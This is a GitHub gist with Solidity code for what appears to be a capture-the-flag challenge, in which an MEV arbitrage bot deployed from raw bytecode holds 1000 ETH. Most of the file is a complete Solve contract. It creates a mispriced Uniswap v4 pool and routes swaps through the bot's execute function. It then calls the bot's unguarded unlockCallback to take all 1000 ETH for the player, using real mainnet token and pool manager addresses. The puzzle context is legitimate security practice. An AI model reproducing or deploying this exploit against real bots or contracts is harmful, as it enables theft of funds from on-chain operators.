-
-
Save kangsangsoo/4201acc4ff776ada145df401f17f16b9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import {IERC20} from "../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; | |
| import {PoolKey} from "../lib/v4-core/src/types/PoolKey.sol"; | |
| import {Currency} from "../lib/v4-core/src/types/Currency.sol"; | |
| import {IHooks} from "../lib/v4-core/src/interfaces/IHooks.sol"; | |
| import {IPoolManager} from "../lib/v4-core/src/interfaces/IPoolManager.sol"; | |
| import {PositionManager} from "../lib/v4-periphery/src/PositionManager.sol"; | |
| // import {IUniversalRouter} from "../lib/universal-router/contracts/interfaces/IUniversalRouter.sol"; | |
| // import {ModifyLiquidityParams, SwapParams} from "./types/PoolOperation.sol"; | |
| import {BalanceDelta, BalanceDeltaLibrary} from "../lib/v4-core/src/types/BalanceDelta.sol"; | |
| interface IMEVBot { | |
| // -------- View functions -------- | |
| /// @notice Whitelist mapping getter | |
| /// @param account Address to check | |
| /// @return isWhitelisted True if account is whitelisted | |
| function whitelist(address account) external view returns (bool isWhitelisted); | |
| /// @notice Address of the Pool Manager used by this contract | |
| function POOL_MANAGER() external view returns (address); | |
| // -------- State-changing functions -------- | |
| /// @notice Entry that performs an `unlock` on the Pool Manager with `data` | |
| /// @dev Payable: the call may pass ETH along | |
| function execute(bytes calldata data) external payable; | |
| /// @notice Callback expected to be called by the Pool Manager during `unlock` | |
| function unlockCallback(bytes calldata rawData) external; | |
| /// @notice Whitelisted caller forwards the entire ETH balance to `token` (an arbitrary address) | |
| /// @param token Destination address to receive ETH via low-level call | |
| function withdraw(address token) external; | |
| /// @notice Whitelisted caller can set/unset whitelist status | |
| function setWhitelist(address target, bool state) external; | |
| // -------- ETH handling -------- | |
| /// @notice Accept plain ETH transfers | |
| receive() external payable; | |
| } | |
| contract Setup { | |
| uint256 constant DEPOSIT = 1000 ether; | |
| address public immutable PLAYER_ADR; | |
| address public immutable BOT_ADDR; | |
| constructor(address playerAddr) payable { | |
| require(msg.value == DEPOSIT, "Invalid initial balance"); | |
| PLAYER_ADR = playerAddr; | |
| // Since this is an arbitrage contract for a MEV bot, including the source wouldn't make sense, but it's super simple. BYTECODE IS LAW ;p | |
| bytes memory bytecode = | |
| hex"608060405260015f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111f0806100655f395ff3fe608060405260043610610058575f3560e01c806309c5eabe1461006357806351cff8d91461007f57806353d6fd59146100a757806362308e85146100cf57806391dd7346146100f95780639b19251a146101355761005f565b3661005f57005b5f5ffd5b61007d600480360381019061007891906107b1565b610171565b005b34801561008a575f5ffd5b506100a560048036038101906100a09190610856565b610334565b005b3480156100b2575f5ffd5b506100cd60048036038101906100c891906108b6565b610468565b005b3480156100da575f5ffd5b506100e3610547565b6040516100f0919061094f565b60405180910390f35b348015610104575f5ffd5b5061011f600480360381019061011a91906107b1565b61055a565b60405161012c91906109d8565b60405180910390f35b348015610140575f5ffd5b5061015b60048036038101906101569190610856565b610723565b6040516101689190610a07565b60405180910390f35b60015f5f6101000a815c8160ff021916908315150217905d505f4790506e04444c5dc75cb358380d2e3de08a9073ffffffffffffffffffffffffffffffffffffffff166348c8949184846040518363ffffffff1660e01b81526004016101d8929190610a5a565b5f604051808303815f875af11580156101f3573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f8201168201806040525081019061021b9190610b96565b505f81476102299190610c13565b90505f811161026d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026490610ca0565b60405180910390fd5b5f3273ffffffffffffffffffffffffffffffffffffffff168260405161029290610ceb565b5f6040518083038185875af1925050503d805f81146102cc576040519150601f19603f3d011682016040523d82523d5f602084013e6102d1565b606091505b5050905080610315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030c90610d49565b60405180910390fd5b5f5f5f6101000a815c8160ff021916908315150217905d505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b390610db1565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff16476040516103e190610ceb565b5f6040518083038185875af1925050503d805f811461041b576040519150601f19603f3d011682016040523d82523d5f602084013e610420565b606091505b5050905080610464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045b90610d49565b60405180910390fd5b5050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166104f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790610db1565b60405180910390fd5b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6e04444c5dc75cb358380d2e3de08a9081565b60605f5f905c906101000a900460ff166105a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a090610e19565b60405180910390fd5b5f83838101906105b99190611087565b90505f5f90505b815181101561070a575f6e04444c5dc75cb358380d2e3de08a9073ffffffffffffffffffffffffffffffffffffffff16838381518110610603576106026110ce565b5b602002602001015160200151848481518110610622576106216110ce565b5b60200260200101515f01518585815181106106405761063f6110ce565b5b60200260200101516040015160405160200161065d92919061114b565b6040516020818303038152906040526040516106799190611172565b5f6040518083038185875af1925050503d805f81146106b3576040519150601f19603f3d011682016040523d82523d5f602084013e6106b8565b606091505b50509050806106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f3906111d2565b60405180910390fd5b5080806001019150506105c0565b5060405180602001604052805f81525091505092915050565b5f602052805f5260405f205f915054906101000a900460ff1681565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261077157610770610750565b5b8235905067ffffffffffffffff81111561078e5761078d610754565b5b6020830191508360018202830111156107aa576107a9610758565b5b9250929050565b5f5f602083850312156107c7576107c6610748565b5b5f83013567ffffffffffffffff8111156107e4576107e361074c565b5b6107f08582860161075c565b92509250509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610825826107fc565b9050919050565b6108358161081b565b811461083f575f5ffd5b50565b5f813590506108508161082c565b92915050565b5f6020828403121561086b5761086a610748565b5b5f61087884828501610842565b91505092915050565b5f8115159050919050565b61089581610881565b811461089f575f5ffd5b50565b5f813590506108b08161088c565b92915050565b5f5f604083850312156108cc576108cb610748565b5b5f6108d985828601610842565b92505060206108ea858286016108a2565b9150509250929050565b5f819050919050565b5f61091761091261090d846107fc565b6108f4565b6107fc565b9050919050565b5f610928826108fd565b9050919050565b5f6109398261091e565b9050919050565b6109498161092f565b82525050565b5f6020820190506109625f830184610940565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6109aa82610968565b6109b48185610972565b93506109c4818560208601610982565b6109cd81610990565b840191505092915050565b5f6020820190508181035f8301526109f081846109a0565b905092915050565b610a0181610881565b82525050565b5f602082019050610a1a5f8301846109f8565b92915050565b828183375f83830152505050565b5f610a398385610972565b9350610a46838584610a20565b610a4f83610990565b840190509392505050565b5f6020820190508181035f830152610a73818486610a2e565b90509392505050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ab682610990565b810181811067ffffffffffffffff82111715610ad557610ad4610a80565b5b80604052505050565b5f610ae761073f565b9050610af38282610aad565b919050565b5f67ffffffffffffffff821115610b1257610b11610a80565b5b610b1b82610990565b9050602081019050919050565b5f610b3a610b3584610af8565b610ade565b905082815260208101848484011115610b5657610b55610a7c565b5b610b61848285610982565b509392505050565b5f82601f830112610b7d57610b7c610750565b5b8151610b8d848260208601610b28565b91505092915050565b5f60208284031215610bab57610baa610748565b5b5f82015167ffffffffffffffff811115610bc857610bc761074c565b5b610bd484828501610b69565b91505092915050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c1d82610bdd565b9150610c2883610bdd565b9250828203905081811115610c4057610c3f610be6565b5b92915050565b5f82825260208201905092915050565b7f4e6f2070726f666974206d6164650000000000000000000000000000000000005f82015250565b5f610c8a600e83610c46565b9150610c9582610c56565b602082019050919050565b5f6020820190508181035f830152610cb781610c7e565b9050919050565b5f81905092915050565b50565b5f610cd65f83610cbe565b9150610ce182610cc8565b5f82019050919050565b5f610cf582610ccb565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f610d33600f83610c46565b9150610d3e82610cff565b602082019050919050565b5f6020820190508181035f830152610d6081610d27565b9050919050565b7f4e6f742077686974656c697374656400000000000000000000000000000000005f82015250565b5f610d9b600f83610c46565b9150610da682610d67565b602082019050919050565b5f6020820190508181035f830152610dc881610d8f565b9050919050565b7f4e6f7420657865637574696e67000000000000000000000000000000000000005f82015250565b5f610e03600d83610c46565b9150610e0e82610dcf565b602082019050919050565b5f6020820190508181035f830152610e3081610df7565b9050919050565b5f67ffffffffffffffff821115610e5157610e50610a80565b5b602082029050602081019050919050565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610e9e81610e6a565b8114610ea8575f5ffd5b50565b5f81359050610eb981610e95565b92915050565b610ec881610bdd565b8114610ed2575f5ffd5b50565b5f81359050610ee381610ebf565b92915050565b5f610efb610ef684610af8565b610ade565b905082815260208101848484011115610f1757610f16610a7c565b5b610f22848285610a20565b509392505050565b5f82601f830112610f3e57610f3d610750565b5b8135610f4e848260208601610ee9565b91505092915050565b5f60608284031215610f6c57610f6b610e62565b5b610f766060610ade565b90505f610f8584828501610eab565b5f830152506020610f9884828501610ed5565b602083015250604082013567ffffffffffffffff811115610fbc57610fbb610e66565b5b610fc884828501610f2a565b60408301525092915050565b5f610fe6610fe184610e37565b610ade565b9050808382526020820190506020840283018581111561100957611008610758565b5b835b8181101561105057803567ffffffffffffffff81111561102e5761102d610750565b5b80860161103b8982610f57565b8552602085019450505060208101905061100b565b5050509392505050565b5f82601f83011261106e5761106d610750565b5b813561107e848260208601610fd4565b91505092915050565b5f6020828403121561109c5761109b610748565b5b5f82013567ffffffffffffffff8111156110b9576110b861074c565b5b6110c58482850161105a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b61111561111082610e6a565b6110fb565b82525050565b5f61112582610968565b61112f8185610cbe565b935061113f818560208601610982565b80840191505092915050565b5f6111568285611104565b600482019150611166828461111b565b91508190509392505050565b5f61117d828461111b565b915081905092915050565b7f43616c6c6261636b20657865637574696f6e206661696c6564000000000000005f82015250565b5f6111bc601983610c46565b91506111c782611188565b602082019050919050565b5f6020820190508181035f8301526111e9816111b0565b905091905056"; | |
| address addr; | |
| assembly { | |
| addr := create(DEPOSIT, add(bytecode, 0x20), mload(bytecode)) | |
| } | |
| BOT_ADDR = addr; | |
| } | |
| function isSolved() external view returns (bool) { | |
| return BOT_ADDR.balance == 0 && PLAYER_ADR.balance >= DEPOSIT; | |
| } | |
| } | |
| contract Solve { | |
| struct Call { | |
| bytes4 selector; | |
| uint256 value; | |
| bytes data; | |
| } | |
| address immutable public usdc_token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; | |
| bytes32 immutable public ETH_usdc_pair = 0x3258f413c7a88cda2fa8709a589d221a80f6574f63df5a5b6774485d8acc39d9; | |
| IPoolManager immutable public pool_manager = IPoolManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90)); | |
| PositionManager immutable public position_manager = PositionManager(payable(0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e)); | |
| // IUniversalRouter public universal_rounter = IUniversalRouter(0x66a9893cc07d91d95644aedd05d03f95e1dba8af); | |
| Setup immutable public setup = Setup(0xe28E089DcF77A3AdAf98aADf5B6D3e901B27B1DC); //// need to change | |
| IMEVBot immutable public mev; | |
| constructor() payable { | |
| mev = IMEVBot(payable(setup.BOT_ADDR())); | |
| } | |
| function solve() public { | |
| pool_manager.unlock(hex'01'); | |
| PoolKey memory key = PoolKey({ | |
| currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰 | |
| currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰 | |
| fee: 15161, // 수수료 (예: 3000 = 0.3%) | |
| tickSpacing: 10, // 틱 간격 (fee에 따라 결정) | |
| hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0)) | |
| }); | |
| //// $5000: 5602277097478614198912276234240 | |
| uint160 sqrtPriceX96 = 5602277097478614198912276234240; | |
| pool_manager.initialize(key, sqrtPriceX96); | |
| // Approve tokens for pool manager | |
| IERC20(usdc_token).approve(address(pool_manager), type(uint256).max); | |
| pool_manager.unlock(hex'02'); | |
| PoolKey memory key1 = PoolKey({ | |
| currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰 | |
| currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰 | |
| fee: 15161, // 수수료 (예: 3000 = 0.3%) | |
| tickSpacing: 10, // 틱 간격 (fee에 따라 결정) | |
| hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0)) | |
| }); | |
| PoolKey memory key2 = PoolKey({ | |
| currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰 | |
| currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰 | |
| fee: 500, // 수수료 (예: 3000 = 0.3%) | |
| tickSpacing: 10, // 틱 간격 (fee에 따라 결정) | |
| hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0)) | |
| }); | |
| IPoolManager.SwapParams memory params1 = IPoolManager.SwapParams({ | |
| zeroForOne: true, // true = token0 → token1 (ETH → USDC) | |
| amountSpecified: -1e17, // 음수 = exact input (0.1 ETH) | |
| sqrtPriceLimitX96: 4295128739+1 // 최소 가격 제한 (슬리피지 방지) | |
| }); | |
| IPoolManager.SwapParams memory params2 = IPoolManager.SwapParams({ | |
| zeroForOne: false, // true = token0 → token1 (ETH → USDC) | |
| amountSpecified: -1612343, // 음수 = exact input (0.1 ETH) | |
| sqrtPriceLimitX96: 1461446703485210103287273052203988822378723970342-1 // 최소 가격 제한 (슬리피지 방지) | |
| }); | |
| //// ETH ->(내가 만든 풀) USDC ->(정상 풀) ETH | |
| Call[] memory calls = new Call[](3); | |
| // 1) swap 첫 번째 | |
| calls[0] = Call({ | |
| selector: IPoolManager.swap.selector, | |
| data: abi.encode(key1, params1, ""), | |
| value: 0 | |
| }); | |
| //// amount0: -427, amount1: 1612343 | |
| // 2) swap 두 번째 | |
| calls[1] = Call({ | |
| selector: IPoolManager.swap.selector, | |
| data: abi.encode(key2, params2, ""), | |
| value: 0 | |
| }); | |
| //// amount0: 373629447558389 [3.736e14], amount1: -1612343 | |
| // 3) take | |
| calls[2] = Call({ | |
| selector: IPoolManager.take.selector, | |
| data: abi.encode(Currency.wrap(address(0)), address(mev), 373629447558389 - 427), | |
| value: 0 | |
| }); | |
| // lock 호출 시 encode | |
| bytes memory rawData = abi.encode(calls); | |
| mev.execute(rawData); | |
| } | |
| function unlockCallback(bytes calldata data) external returns (bytes memory) { | |
| if(data[0] == hex'01') { | |
| PoolKey memory key = PoolKey({ | |
| currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰 | |
| currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰 | |
| fee: 500, // 수수료 (예: 3000 = 0.3%) | |
| tickSpacing: 10, // 틱 간격 (fee에 따라 결정) | |
| hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0)) | |
| }); | |
| IPoolManager.SwapParams memory params = IPoolManager.SwapParams({ | |
| zeroForOne: true, // true = token0 → token1 (ETH → USDC) | |
| amountSpecified: -100000000000000000, // 음수 = exact input (0.1 ETH) | |
| sqrtPriceLimitX96: 4295128739+1 // 최소 가격 제한 (슬리피지 방지) | |
| }); | |
| BalanceDelta delta = pool_manager.swap(key, params, ""); | |
| pool_manager.settle{value: 0.1 ether}(); | |
| pool_manager.take(Currency.wrap(usdc_token), address(this), uint128(delta.amount1())); | |
| } | |
| if(data[0] == hex'02') { | |
| IPoolManager.ModifyLiquidityParams memory params = IPoolManager.ModifyLiquidityParams({ | |
| tickLower: 80000, // 하한 틱 | |
| tickUpper: 90000, // 상한 틱 | |
| liquidityDelta: 1e5, // 추가할 유동성 양 | |
| salt: 0 // 고유한 포지션을 위한 salt | |
| }); | |
| PoolKey memory key = PoolKey({ | |
| currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰 | |
| currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰 | |
| fee: 15161, // 수수료 (예: 3000 = 0.3%) | |
| tickSpacing: 10, // 틱 간격 (fee에 따라 결정) | |
| hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0)) | |
| }); | |
| (BalanceDelta delta, BalanceDelta _delta) = pool_manager.modifyLiquidity(key, params, ""); | |
| pool_manager.sync(Currency.wrap(address(0))); | |
| pool_manager.settle{value: uint128(-delta.amount0())}(); | |
| pool_manager.sync(Currency.wrap(usdc_token)); | |
| IERC20(usdc_token).transfer(address(pool_manager), uint128(-delta.amount1())); | |
| pool_manager.settle(); | |
| } | |
| if(data[0] == hex'03') { | |
| // Call[] memory calls = new Call[](1); | |
| Call[] memory calls2 = new Call[](3); | |
| calls2[0] = Call({ | |
| selector: IPoolManager.sync.selector, | |
| data: abi.encode(Currency.wrap(address(0))), | |
| value: 0 | |
| }); | |
| calls2[2] = Call({ | |
| selector: IPoolManager.take.selector, | |
| data: abi.encode(Currency.wrap(address(0)), address(setup.PLAYER_ADR()), 1000 ether), | |
| value: 0 | |
| }); | |
| calls2[1] = Call({ | |
| selector: IPoolManager.settle.selector, | |
| data: "", | |
| value: 1000 ether | |
| }); | |
| // calls[0] = Call({ | |
| // selector: IPoolManager.unlock.selector, | |
| // data: abi.encode(calls2), | |
| // value: 0 | |
| // }); | |
| // lock 호출 시 encode | |
| bytes memory rawData = abi.encode(calls2); | |
| mev.unlockCallback(rawData); | |
| } | |
| return ''; | |
| } | |
| receive() external payable { | |
| if(msg.value == 373629447557962) { | |
| pool_manager.unlock(hex'03'); | |
| } | |
| } | |
| } | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment